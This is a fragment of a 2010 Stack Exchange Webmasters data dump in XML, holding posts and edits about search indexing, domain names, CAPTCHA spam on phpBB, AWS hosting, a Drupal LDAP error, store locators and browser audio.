linking to as well, because ad blockers will have a good method of matching these. If your `&lt;href&gt;` is linking directly to the affiliate, it will probably still get caught. You'll need to also mask this with a server-side redirect, so your `href` might point to `/jsdaf.php?id=$adid` and from there do a `301 Redirect`" />
  <row Id="8287" PostHistoryTypeId="5" PostId="4185" RevisionGUID="e87e6577-40b5-41d9-90df-b2e5f1101828" CreationDate="2010-10-21T21:46:08.537" UserId="3" Comment="deleted 7 characters in body; deleted 7 characters in body" Text="We're seeing some pages that exist in our `sitemap.xml` but are inexplicably missing from Google's public search index. &#xD;&#xA;&#xD;&#xA;You can't download http://superuser.com/sitemap.xml -- we protect this file because there have been issues with it in the past -- but googlebot can. We have verified via Google Webmaster Tools that the `sitemap.xml` file was pulled down today and is rated OK with no errors (green checkmark).&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;The `sitemap.xml` contains a list of the last 50,000 questions on our site that were asked. For example, this question ...&#xD;&#xA;&#xD;&#xA;http://superuser.com/questions/201610/how-to-see-the-end-of-a-long-chain-of-symbolic-links&#xD;&#xA;&#xD;&#xA;... exists in the `sitemap.xml` as ...&#xD;&#xA;&#xD;&#xA;    &lt;url&gt;&#xD;&#xA;    &lt;loc&gt;http://superuser.com/questions/201610/how-to-see-the-end-of-a-long-chain-of-symbolic-links&lt;/loc&gt;&#xD;&#xA;    &lt;lastmod&gt;2010-10-20&lt;/lastmod&gt;&#xD;&#xA;    &lt;changefreq&gt;daily&lt;/changefreq&gt;&#xD;&#xA;    &lt;priority&gt;0.2&lt;/priority&gt;&#xD;&#xA;    &lt;/url&gt;&#xD;&#xA;&#xD;&#xA;Searching for [&quot;How to see the end of a long chain of symbolic links&quot;][2] gives only one result to questionhub.com which is scraping our data (a whole different problem).&#xD;&#xA;&#xD;&#xA;You can increment the question count number and do an exact search for the question title and you will see this pattern persist.&#xD;&#xA;&#xD;&#xA;These urls are *in* sitemap.xml but they are not showing up in Google's index -- and yet they show up on sites that scrape our creative commons data. Why would that be?&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/sfas0.png&#xD;&#xA;  [2]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=How+to+see+the+end+of+a+long+chain+of+symbolic+links" />
  <row Id="8288" PostHistoryTypeId="2" PostId="4196" RevisionGUID="453efa45-3aed-432d-bf44-85dbc13e4e2f" CreationDate="2010-10-21T21:48:09.860" UserId="2621" Text="&gt;Google's creation of sites' titles and descriptions (or &quot;snippets&quot;) is completely automated and takes into account both the content of a page as well as references to it that appear on the web. &#xD;&#xA;&#xD;&#xA;Here is how you disable that h1 thing on google&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35624&#xD;&#xA;" />
  <row Id="8289" PostHistoryTypeId="2" PostId="4197" RevisionGUID="4a460fd1-3bf2-46f4-92fc-ad17ab35541f" CreationDate="2010-10-21T21:54:41.577" UserId="2632" Text="We have a client that wants a store locator on their website. I've been asked to find a webservice that will allow us to send a zipcode as a request and have it return locations within x radius. We found [this][1], but it's maintained by a single person, and doesn't look like it gets updated or supported very well. We're looking for something commercial, ideally that updates their zipcode database at least once per quarter, and that has a well-documented API with PHP accessibility. I won't say price isn't an object, but right now we just want some ideas, and my google-fu has failed me. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codebump.com/zipcode/" />
  <row Id="8290" PostHistoryTypeId="1" PostId="4197" RevisionGUID="4a460fd1-3bf2-46f4-92fc-ad17ab35541f" CreationDate="2010-10-21T21:54:41.577" UserId="2632" Text="Recommend a web service that handles location within a specific radius?" />
  <row Id="8291" PostHistoryTypeId="3" PostId="4197" RevisionGUID="4a460fd1-3bf2-46f4-92fc-ad17ab35541f" CreationDate="2010-10-21T21:54:41.577" UserId="2632" Text="&lt;web-services&gt;" />
  <row Id="8292" PostHistoryTypeId="2" PostId="4198" RevisionGUID="6d10fe17-349d-43fe-af2f-e22b20f60ddf" CreationDate="2010-10-21T22:07:50.377" UserId="1576" Text="I recommend to use Postgresql, drupal supports it." />
  <row Id="8293" PostHistoryTypeId="2" PostId="4199" RevisionGUID="3942a66f-2c91-40ad-b6fc-a2a25c802f9f" CreationDate="2010-10-21T22:20:25.317" UserId="2010" Text="I used many software in the past and no one really fit my need but **I can suggest one of the following**:&#xD;&#xA;&#xD;&#xA;- [WebCEO][1]: feature rich but sluggish and a bit expensive. It's charts are horrible IMHO&#xD;&#xA;- [RankTracker][2]: fast and with a good set of features, nice charts included. You can try it for free.&#xD;&#xA;- [Free Monitor for Google][3]: freeware and pretty fast, can track only Google SERPs. No charts.&#xD;&#xA;&#xD;&#xA;By the way the standard disclaimer applies: Scraping Google SERPs is against Google TOS. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webceo.com/&#xD;&#xA;  [2]: http://www.link-assistant.com/rank-tracker/&#xD;&#xA;  [3]: http://www.cleverstat.com/en/google-monitor-query.htm" />
  <row Id="8294" PostHistoryTypeId="2" PostId="4200" RevisionGUID="c65a0ec4-3643-40bd-bf1a-7dcdeb7dce0f" CreationDate="2010-10-21T22:34:56.553" UserDisplayName="framomo86" Text="I have a web marketing question for you.&#xD;&#xA;I'm looking for a good domain name for my web app.&#xD;&#xA;This site is about writing. Any kind of user generated writings including poetry, aphorisms, short stories, song lyrics etc.&#xD;&#xA;I have some candidates, but I think it can be better. . I want the name to promote very good quality words, not just random facebook-like status updates.&#xD;&#xA;This is my list, but I think you can do better, any help would be very very appreciated.&#xD;&#xA;I promise to add your name in my credit if i pick your answer. Thanks&#xD;&#xA;&#xD;&#xA; - Yourwritings &#xD;&#xA; - Youwrite &#xD;&#xA; - Beautifulwords&#xD;&#xA; - thewriter&#xD;&#xA; - writingshare&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8295" PostHistoryTypeId="1" PostId="4200" RevisionGUID="c65a0ec4-3643-40bd-bf1a-7dcdeb7dce0f" CreationDate="2010-10-21T22:34:56.553" UserDisplayName="framomo86" Text="Help me to find a good  name for my website" />
  <row Id="8296" PostHistoryTypeId="3" PostId="4200" RevisionGUID="c65a0ec4-3643-40bd-bf1a-7dcdeb7dce0f" CreationDate="2010-10-21T22:34:56.553" UserDisplayName="framomo86" Text="&lt;marketing&gt;&lt;domain-names&gt;" />
  <row Id="8297" PostHistoryTypeId="2" PostId="4201" RevisionGUID="3af0c9b6-fcf9-4ec9-ba78-b6309ee9b050" CreationDate="2010-10-21T22:43:41.457" UserId="138" Text="What you're looking for is called Punycode. You can do pretty much any Unicode character with it, I believe.&#xD;&#xA;&#xD;&#xA;Verisign have a nifty [conversion tool here][1].&#xD;&#xA;&#xD;&#xA;In your scenario, `mjölk.com` translates to `xn--mjlk-6qa.com` -  `xn--mjlk-6qa.com` is the domain you'll need to register and the DNS entries you'll need to create if you want that IDN.&#xD;&#xA;&#xD;&#xA;(You can try this in your browser. In both my FF and IE, [http://mjölk.com][2] redirects you to http://www.xn--mjlk-6qa.com/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mct.verisign-grs.com/&#xD;&#xA;  [2]: http://mjölk.com" />
  <row Id="8298" PostHistoryTypeId="2" PostId="4202" RevisionGUID="fcb15b09-ac18-43df-8bb0-2db9c0047755" CreationDate="2010-10-21T22:48:42.570" UserId="281" Text="I am running a phpBB forum where the requirements were that users shouldn't have to sign up in order to post.  They could just give a name and post as long as they used recapcha before posting.&#xD;&#xA;&#xD;&#xA;Problem is that there are like 30 pages of spam in some threads.  The software is up to date.  The forum gets very little legitimate traffic.  If I can't fix this I will either have to require registration or remove the forum all together." />
  <row Id="8299" PostHistoryTypeId="1" PostId="4202" RevisionGUID="fcb15b09-ac18-43df-8bb0-2db9c0047755" CreationDate="2010-10-21T22:48:42.570" UserId="281" Text="Tons of spam on phpBB even with recapcha enabled" />
  <row Id="8300" PostHistoryTypeId="3" PostId="4202" RevisionGUID="fcb15b09-ac18-43df-8bb0-2db9c0047755" CreationDate="2010-10-21T22:48:42.570" UserId="281" Text="&lt;spam&gt;&lt;forum&gt;" />
  <row Id="8301" PostHistoryTypeId="2" PostId="4203" RevisionGUID="b7aaa16f-363b-4613-ba94-3be7054d5728" CreationDate="2010-10-21T22:52:01.037" UserDisplayName="lawry" Text="Can i host my entire site at AWS or do i need to have shared hosting/server in order to use AWS, my site runs on php and mysql." />
  <row Id="8302" PostHistoryTypeId="1" PostId="4203" RevisionGUID="b7aaa16f-363b-4613-ba94-3be7054d5728" CreationDate="2010-10-21T22:52:01.037" UserDisplayName="lawry" Text="Can you store your site entirly with Amazon Web Services" />
  <row Id="8303" PostHistoryTypeId="3" PostId="4203" RevisionGUID="b7aaa16f-363b-4613-ba94-3be7054d5728" CreationDate="2010-10-21T22:52:01.037" UserDisplayName="lawry" Text="&lt;web-hosting&gt;&lt;amazon&gt;" />
  <row Id="8304" PostHistoryTypeId="2" PostId="4204" RevisionGUID="28c2ba40-dd4b-4b46-984e-3bff2816a48d" CreationDate="2010-10-21T23:17:09.770" UserId="2379" Text="We had the same problem with XML generated with Classic asp..&#xD;&#xA;The workaround that worked best for us was to create a custom HTTP handler for XML files... &#xD;&#xA;&#xD;&#xA;Its something you can do in your web.config file:&#xD;&#xA;&#xD;&#xA;    	&lt;handlers&gt;&#xD;&#xA;      &lt;remove name=&quot;ASPClassic&quot; /&gt;&#xD;&#xA;      &lt;add name=&quot;XMLasASPClassic&quot; path=&quot;*.xml&quot; verb=&quot;GET,HEAD,POST&quot; modules=&quot;IsapiModule&quot; scriptProcessor=&quot;%windir%\system32\inetsrv\asp.dll&quot; resourceType=&quot;File&quot; requireAccess=&quot;Script&quot; /&gt;&#xD;&#xA;      &lt;add name=&quot;ASPClassic&quot; path=&quot;*.asp&quot; verb=&quot;GET,HEAD,POST&quot; modules=&quot;IsapiModule&quot; scriptProcessor=&quot;%windir%\system32\inetsrv\asp.dll&quot; resourceType=&quot;File&quot; requireAccess=&quot;Script&quot; /&gt;&#xD;&#xA;    &lt;/handlers&gt;&#xD;&#xA;&#xD;&#xA;essentially what it does is treat .xml files as .asp files.  meaning that &lt;% %&gt; and all asp code works in them.  The good thing is FLash still sees this as standard xml and your visitors cannot figure out what you are using to create the xml files dynamically.  &#xD;&#xA;&#xD;&#xA;Also make sure you test your script first by making sure flash can support an actual xml file... &#xD;&#xA;&#xD;&#xA;I am sure you can use the above approach with PHP... StackOverflow may have some more info on that...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8305" PostHistoryTypeId="2" PostId="4205" RevisionGUID="4a1ae672-5795-457d-a979-fc366cdc2ea8" CreationDate="2010-10-21T23:19:07.957" UserId="2379" Text="Google does consider the location of your server when determining search rankings for local markets.  If your audience is in JP try to keep it there.  TLD is important, charset, and even the language encoding of your visitors browsers.  These datapoints help google classify your site's audience. " />
  <row Id="8306" PostHistoryTypeId="4" PostId="4194" RevisionGUID="14c6695d-9a01-4f50-9868-7a1eaf47b17e" CreationDate="2010-10-21T23:20:59.140" UserId="1429" Comment="edited title" Text="Google showing H1 text instead of page TITLE in search result?" />
  <row Id="8307" PostHistoryTypeId="2" PostId="4206" RevisionGUID="9790b68c-510c-46a5-8284-a304e8ddb47f" CreationDate="2010-10-21T23:23:35.287" UserId="2228" Text="Hey guys, we all know that Google caches the HTML of pages, but does it cache the corresponding CSS as well? I ask because a site I used to have and have since closed down is still in the cache and there's a CSS setup I had on it that I need to replicate on another site now. I can view the cached HTML but that doesn't help me because I don't remember what I did with the CSS.&#xD;&#xA;&#xD;&#xA;So, does Google cache the CSS and if so, how do I view it? For those who will ask why I don't just look at my source code for the other site, I don't currently have it on my laptop and I'm not quite sure where the archive is at the moment..." />
  <row Id="8308" PostHistoryTypeId="1" PostId="4206" RevisionGUID="9790b68c-510c-46a5-8284-a304e8ddb47f" CreationDate="2010-10-21T23:23:35.287" UserId="2228" Text="Does Google cache stylesheets?" />
  <row Id="8309" PostHistoryTypeId="3" PostId="4206" RevisionGUID="9790b68c-510c-46a5-8284-a304e8ddb47f" CreationDate="2010-10-21T23:23:35.287" UserId="2228" Text="&lt;google&gt;&lt;css&gt;&lt;cache&gt;" />
  <row Id="8310" PostHistoryTypeId="2" PostId="4207" RevisionGUID="5d2d3177-1514-43dc-9239-c9960cb88c5b" CreationDate="2010-10-21T23:25:56.090" UserId="138" Text="We wanted a similar service in Australia, but we gave up and rolled our own.&#xD;&#xA;&#xD;&#xA;Doing basic geospatial searching is fairly easy. We're fortunate that our national postal service provides a list of every single postcode in the country. Google Maps API was able to return the lat/long of each and every postcode in the country.&#xD;&#xA;&#xD;&#xA;From there, against each store we kept its exact lat/long, and then using back-end magic we located every single store within *x* km radius, and then just plotted those on a Google Map, and populated a store list underneath the map.&#xD;&#xA;&#xD;&#xA;You can fetch the lat/long of any address via `http://maps.google.com/maps/geo?q=ADDRESS&amp;output=csv&amp;oe=utf8&amp;sensor=false&amp;gl=AU&amp;key=APIKEY`. The only hard bit is working with lat/longs as distance on earth is not constant with lat/longs. For example, 1km in latitude is approx `1/111` and 1km in longitude is approximately `1/71`. But as you move north and south, east and west this fraction changes - but it was close enough for our work (Australia is as large as America and we had plots all over the country, so in some parts it was actually wildly inaccurate, but nobody has complained)&#xD;&#xA;&#xD;&#xA;If you do decide to roll your own, the people over at [Geographic Stack Exchange][1] may be of great assistance. I wish they had existed when we did our own.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://gis.stackexchange.com/" />
  <row Id="8311" PostHistoryTypeId="2" PostId="4208" RevisionGUID="a80f6d23-f504-4537-9e98-7b5d8274d998" CreationDate="2010-10-21T23:46:13.697" UserId="138" Text="I don't know the answer to your question, but if Google doesn't, the [wayback machine might][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.archive.org/web/web.php" />
  <row Id="8312" PostHistoryTypeId="2" PostId="4209" RevisionGUID="e8fb69a9-3794-416d-8d8d-487b060e73bb" CreationDate="2010-10-21T23:51:03.143" UserId="1757" Text="CAPTCHAs are not bot-proof. There are bot algorithms out there that are perfectly capable of breaking CAPTCHAs, and they're getting better and more widespread with each passing day (while CAPTCHAs have basically reached their maximum opacity). Though in my experience CAPTCHAs can still keep 98% of bots out, so it's unfortunate that your site has been particularly hard hit.&#xD;&#xA;&#xD;&#xA;One of the things with CAPTCHA-reading algorithms is that (the last I read about them) the best algorithms only had a 50% accuracy, and the typical algorithm was more around 20%. That's not particularly high compared to the average human, but if you only need to solve the CAPTCHA once and can make as many attempts as you need, then it's plenty high to break the CAPTCHA authentication.&#xD;&#xA;&#xD;&#xA;If you're faced with bots that can break CAPTCHAs, then you might consider putting a delay between re-issuing CAPTCHAs. E.g. if they fail the first attempt, then they need to wait 5 seconds before trying again. If they fail a second time, then they have to wait 10 seconds. If they fail a third time, then they have to wait 30 seconds. And if they fail that, then their IP is banned for 24 hours or more.&#xD;&#xA;&#xD;&#xA;Also, you should check the strength of your CAPTCHAs, i.e.&#xD;&#xA;&#xD;&#xA; - Never reissue the same CAPTCHA twice (even with randomized noise).&#xD;&#xA; - Never use a fixed pattern answer (e.g letter, number, letter, number).&#xD;&#xA; - Similarly, don't use math problem CAPTCHAs with a predictable format.*&#xD;&#xA; - Make your CAPTCHA adequately long (5-8 characters).&#xD;&#xA; - Never use a fixed-width font. The most problematic step in the CAPTCHA-solving process for bots is segmentation. This is where bots have the lowest success rate. By using a fixed width font, you're basically getting rid of this step for them.&#xD;&#xA;&#xD;&#xA;*One possible exception to the math problem CAPTCHA rule is if you make the CAPTCHA really long by spelling out all parts.&#xD;&#xA;&#xD;&#xA;Additionally, you could try using word riddles (so long as they can be generated randomly) and adding accent marks to the letters in your CAPTCHAs. You'll probably also want to use other anti-bot techniques like including hidden fields to trap bots or clever JavaScript to set cookies.&#xD;&#xA;&#xD;&#xA;Given the volume of spam you're getting, I assume your site must be very popular. So you could also enlist the help of users to help de-spam the site. If you employ a peer-moderation system in addition to a dedicated team of moderators, that should help keep spam levels to a minimum.&#xD;&#xA;&#xD;&#xA;Though you should still consider requiring sign-up in order to post. Any serious forum poster is gonna want to sign up so they can be notified of replies. It's also more convenient to do a quick sign-up than to have to fill out a CAPTCHA every time you want to post a message. Right now you're basically catering your forum to users who are more likely to be trolls who don't want any long-term commitment to the community than serious participants." />
  <row Id="8313" PostHistoryTypeId="2" PostId="4210" RevisionGUID="90edb1cc-cbc1-44d7-8eda-04bcd7b153eb" CreationDate="2010-10-21T23:58:25.640" UserId="1079" Text="In the spirit of the Chinese proverb *Give a man a fish and you feed him for a day. Teach a man to fish and you feed him for a lifetime*, here's some tools that may help you now *and* in the future:&#xD;&#xA;&#xD;&#xA; - **[domai.nr][1]** - Give it a few keywords and it will suggest domain names using less common top level domains.  `del.icio.us` is the most famous example of this approach.&#xD;&#xA; - **[bustaname.com][2]** - Give it a few words and it will show you multiple combinations, suggest synonyms and and variations, and then show you which resulting names are available.&#xD;&#xA; - If you find a name you really like but find it's already taken, you still have some options.  You can use a tool like **[snapnames.com][3]** or **[domainsbot.com][4]** to try to buy the name if it is for sale or bid on it if the current owner allows it to expire.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://domai.nr/&#xD;&#xA;  [2]: http://www.bustaname.com/&#xD;&#xA;  [3]: https://www.snapnames.com/&#xD;&#xA;  [4]: http://www.domainsbot.com/" />
  <row Id="8314" PostHistoryTypeId="5" PostId="4209" RevisionGUID="700ce794-6338-4782-8bc9-3ab8999b31f6" CreationDate="2010-10-21T23:58:49.077" UserId="1757" Comment="added 255 characters in body" Text="CAPTCHAs are not bot-proof. There are bot algorithms out there that are perfectly capable of breaking CAPTCHAs, and they're getting better and more widespread with each passing day (while CAPTCHAs have basically reached their maximum opacity). Though in my experience CAPTCHAs can still keep 98% of bots out, so it's unfortunate that your site has been particularly hard hit.&#xD;&#xA;&#xD;&#xA;One of the things with CAPTCHA-reading algorithms is that (the last I read about them) the best algorithms only had a 50% accuracy, and the typical algorithm was more around 20%. That's not particularly high compared to the average human, but if you only need to solve the CAPTCHA once and can make as many attempts as you need, then it's plenty high to break the CAPTCHA authentication.&#xD;&#xA;&#xD;&#xA;If you're faced with bots that can break CAPTCHAs, then you might consider putting a delay between re-issuing CAPTCHAs. E.g. if they fail the first attempt, then they need to wait 5 seconds before trying again. If they fail a second time, then they have to wait 10 seconds. If they fail a third time, then they have to wait 30 seconds. And if they fail that, then their IP is banned for 24 hours. And if a particular IP address is failing two or more times on almost every post attempt and continues to post regularly, then you can be pretty sure that it's a bot, since most people would be fed up with having to solve that many CAPTCHAs to make a forum post.&#xD;&#xA;&#xD;&#xA;Also, you should check the strength of your CAPTCHAs, i.e.&#xD;&#xA;&#xD;&#xA; - Never reissue the same CAPTCHA twice (even with randomized noise).&#xD;&#xA; - Never use a fixed pattern answer (e.g letter, number, letter, number).&#xD;&#xA; - Similarly, don't use math problem CAPTCHAs with a predictable format.*&#xD;&#xA; - Make your CAPTCHA adequately long (5-8 characters).&#xD;&#xA; - Never use a fixed-width font. The most problematic step in the CAPTCHA-solving process for bots is segmentation. This is where bots have the lowest success rate. By using a fixed width font, you're basically getting rid of this step for them.&#xD;&#xA;&#xD;&#xA;*One possible exception to the math problem CAPTCHA rule is if you make the CAPTCHA really long by spelling out all parts.&#xD;&#xA;&#xD;&#xA;Additionally, you could try using word riddles (so long as they can be generated randomly) and adding accent marks to the letters in your CAPTCHAs. You'll probably also want to use other anti-bot techniques like including hidden fields to trap bots or clever JavaScript to set cookies.&#xD;&#xA;&#xD;&#xA;Given the volume of spam you're getting, I assume your site must be very popular. So you could also enlist the help of users to help de-spam the site. If you employ a peer-moderation system in addition to a dedicated team of moderators, that should help keep spam levels to a minimum.&#xD;&#xA;&#xD;&#xA;Though you should still consider requiring sign-up in order to post. Any serious forum poster is gonna want to sign up so they can be notified of replies. It's also more convenient to do a quick sign-up than to have to fill out a CAPTCHA every time you want to post a message. Right now you're basically catering your forum to users who are more likely to be trolls who don't want any long-term commitment to the community than serious participants." />
  <row Id="8315" PostHistoryTypeId="2" PostId="4211" RevisionGUID="a43e861c-241d-42a0-ab47-62ef3c38e71d" CreationDate="2010-10-21T23:59:05.643" UserId="1894" Text="I would like to generate a single continuous tone (eg. a sine wave) from a web page with the ability to interactively control the following:&#xD;&#xA;&#xD;&#xA;-   start/stop sound&#xD;&#xA;-   change pitch&#xD;&#xA;-   change volume&#xD;&#xA;&#xD;&#xA;I'm after a solution that is reasonably likely to work on a wide variety of hardware, browsers and connections; something as simple and low-bandwidth as possible.&#xD;&#xA;&#xD;&#xA;The only method that seems to work reliably across the hardware I have access to is Flash, but I'd really like to avoid a proprietary solution and create something with open-source software that conforms to open standards.&#xD;&#xA;&#xD;&#xA;Is this possible?&#xD;&#xA;&#xD;&#xA;If so, how?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8316" PostHistoryTypeId="1" PostId="4211" RevisionGUID="a43e861c-241d-42a0-ab47-62ef3c38e71d" CreationDate="2010-10-21T23:59:05.643" UserId="1894" Text="How to play a tone (eg. sine wave) at an arbitrary pitch/frequency?" />
  <row Id="8317" PostHistoryTypeId="3" PostId="4211" RevisionGUID="a43e861c-241d-42a0-ab47-62ef3c38e71d" CreationDate="2010-10-21T23:59:05.643" UserId="1894" Text="&lt;standards&gt;&lt;audio&gt;&lt;sound&gt;&lt;open-source&gt;" />
  <row Id="8318" PostHistoryTypeId="2" PostId="4212" RevisionGUID="34fe244a-d661-480a-970b-92f024bd4fd2" CreationDate="2010-10-22T00:31:38.673" UserId="1757" Text="You could try using the `&lt;audio&gt;` tag and loop it using the `onended`attribute. I'm not sure about the cross-platform compatibility of this solution, but it has to be better than Flash, which won't work on the iPad, iPhone or many other mobile devices.&#xD;&#xA;&#xD;&#xA;Then you just need a server-side script to generate small audio clips of a particular frequency. I.e. you'd point the `src` of the `audio` tag to:&#xD;&#xA;&#xD;&#xA;    /generate_tone?freq={the frequency you want}" />
  <row Id="8319" PostHistoryTypeId="2" PostId="4213" RevisionGUID="95a450c9-d2f6-4498-8ea6-d5a54bee02a7" CreationDate="2010-10-22T01:10:27.270" UserId="1218" Text="Average costs are around USD10 per year.&#xD;&#xA;&#xD;&#xA;Most registrars will allow you to register instantly for .com, .net and most other domains, and you can setup and manage the domain immediately, changing DNS records to point to your site. Normally this means that the site will be visible on your URL in a matter of hours.&#xD;&#xA;&#xD;&#xA;For some Top Level Domains -- such as .th -- the registration process may take longer, as there may be conditions requiring documentation -- for example that you need to have a business registered using that name or derivative.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8320" PostHistoryTypeId="2" PostId="4214" RevisionGUID="99693cca-7a56-47f3-8f74-a59c13136c80" CreationDate="2010-10-22T01:22:26.263" UserId="1218" Text="No. Viewing the source to a site that Google has cached, there is no indication that the CSS, JS, or any images are cached. I tested this by turning off one of my sites, and then looking at the cached version in Google -- it showed just the HTML, without any stylesheets, JavaScript, images, or other externally linked files." />
  <row Id="8321" PostHistoryTypeId="2" PostId="4215" RevisionGUID="f04e1873-650b-4c84-9d1b-236fb9a43e44" CreationDate="2010-10-22T01:41:17.050" UserId="2288" Text="**&quot;LDAP Bind failure for user . Error -1: Can't contact LDAP server&quot;**&#xD;&#xA;&#xD;&#xA;If you have questions, just ask -- thanks!" />
  <row Id="8322" PostHistoryTypeId="1" PostId="4215" RevisionGUID="f04e1873-650b-4c84-9d1b-236fb9a43e44" CreationDate="2010-10-22T01:41:17.050" UserId="2288" Text="What does this Drupal LDAP error mean?" />
  <row Id="8323" PostHistoryTypeId="3" PostId="4215" RevisionGUID="f04e1873-650b-4c84-9d1b-236fb9a43e44" CreationDate="2010-10-22T01:41:17.050" UserId="2288" Text="&lt;drupal&gt;&lt;ldap&gt;&lt;error&gt;" />
  <row Id="8324" PostHistoryTypeId="2" PostId="4216" RevisionGUID="ab0fdf80-e939-43bd-8bc4-16626dcc3788" CreationDate="2010-10-22T02:04:55.393" UserId="1079" Text="It means it couldn't connect to the LDAP instance you specified.  Make sure your configuration under *Administer &gt;&gt; Site Configuration &gt;&gt; LDAP Integration* is correct.  You can refer to the documentation [here][1].  If you want a better answer you'll have to provide more details.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/node/118092" />
  <row Id="8325" PostHistoryTypeId="2" PostId="4217" RevisionGUID="44a45489-fc8b-4f05-90ec-03482ac57c9f" CreationDate="2010-10-22T02:04:55.757" UserId="2595" Text="I'm not sure if this is the same problem you're having, but you might look at this:&#xD;&#xA;http://drupal.org/node/99009" />
  <row Id="8326" PostHistoryTypeId="2" PostId="4218" RevisionGUID="09addf19-0338-4d1f-94d0-9b077a1c518c" CreationDate="2010-10-22T02:23:58.610" UserId="3" Text="Amazon Web Services (AWS) is merely infrastructure. You could spin up a new LAMP (Linux, Apache, Mysql, PHP) virtual machine on EC2 and from there configure everything else yourself.&#xD;&#xA;&#xD;&#xA;http://aws.amazon.com/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8327" PostHistoryTypeId="2" PostId="4219" RevisionGUID="40c4bbc4-2026-4c9e-9698-6cf9d4e84aa8" CreationDate="2010-10-22T03:18:01.530" UserId="1762" Text="Java is an alternative. There's a development environment called [Processing][1] that was created to abstract Java and make it easier for artists and regular folks to program graphics and multimedia.&#xD;&#xA;&#xD;&#xA;You can output programs as applets (or cross platform applications).&#xD;&#xA;&#xD;&#xA;If having an applet on your website is ok, then this is a good way to go.&#xD;&#xA;&#xD;&#xA;Here's [their example of generating a sine wave tone][2] using an audio library.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://processing.org/&#xD;&#xA;  [2]: http://processing.org/learning/library/sinewavesignal.html" />
  <row Id="8328" PostHistoryTypeId="5" PostId="4216" RevisionGUID="3bb6bff3-8e54-4eb2-b5f3-1a9c3b9b4410" CreationDate="2010-10-22T03:19:13.530" UserId="1079" Comment="added JXplorer suggestion" Text="It means it couldn't connect to the LDAP instance you specified.  &#xD;&#xA;&#xD;&#xA; - Make sure your configuration under *Administer &gt;&gt; Site Configuration &gt;&gt; LDAP Integration* is correct.  You can refer to the documentation [here][1].  &#xD;&#xA; - Try connecting with an LDAP client like [JXplorer][2] to validate that your LDAP instance is up an running at the host and port you think it is.&#xD;&#xA;&#xD;&#xA;If you want a better answer you'll have to provide more details.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/node/118092&#xD;&#xA;  [2]: http://jxplorer.org/" />
  <row Id="8329" PostHistoryTypeId="5" PostId="4215" RevisionGUID="8d962493-09d2-4a17-958a-11cf8ffa7076" CreationDate="2010-10-22T03:33:16.913" UserId="2288" Comment="added 3322 characters in body; added 17190 characters in body; deleted 20512 characters in body" Text="**&quot;LDAP Bind failure for user . Error -1: Can't contact LDAP server&quot;**&#xD;&#xA;&#xD;&#xA;If you have questions, just ask -- thanks!" />
  <row Id="8330" PostHistoryTypeId="5" PostId="4215" RevisionGUID="381aafee-9b85-4d4f-9279-d38429bb6349" CreationDate="2010-10-22T03:41:58.000" UserId="2288" Comment="added 110 characters in body" Text="**PROBLEM:** Trouble shooting LDAP connection binding and request resolution&#xD;&#xA;&#xD;&#xA;**ERROR:** &quot;LDAP Bind failure for user . Error -1: Can't contact LDAP server&quot;&#xD;&#xA;&#xD;&#xA;**URI:** ldap://ldap.itd.umich.edu/dc=umich,dc=edu??sub?uid=mcs&#xD;&#xA;" />
  <row Id="8331" PostHistoryTypeId="2" PostId="4220" RevisionGUID="94eed3a7-4b90-4f64-904a-a436806aae1c" CreationDate="2010-10-22T03:44:19.790" UserId="2551" Text="I had major captcha issues on two of my sites. On one of them I used hidden fields at first and worked wonders. On the other one I used a captcha system that failed in the first two months. It wasn't even a popular site but it got 50k spam comments in less than a week. Crazy! I tried putting hidden fields and known captcha systems in place as the one I first used was &quot;home-made&quot; but spam still went through. I closed the site down since, but I suppose somewhere I must've made a coding mistake, otherwise I can't explain how I could get so much spam such a short time after launching. The other website, that only relied on hidden links, was doing well for over an year, but started getting spammed as well after a while, but much more rarely than the other one, around 100 spam comments a week. I managed to stop it putting in a captcha system.&#xD;&#xA;&#xD;&#xA;For a while now I don't use captcha or hidden fields anymore and I rely purely on Javascipt methods. I know that many will say &quot;what about users with Js disabled&quot;, well.. it's 2010, let's all get used to it the same way we got rid of IE6. The best Js options in my opinion are either hovering over an image/object, either dragging a slider or anything like that. I know that some bots can run js, but still, I find it as a good addition, I didn't have problems for a while now..." />
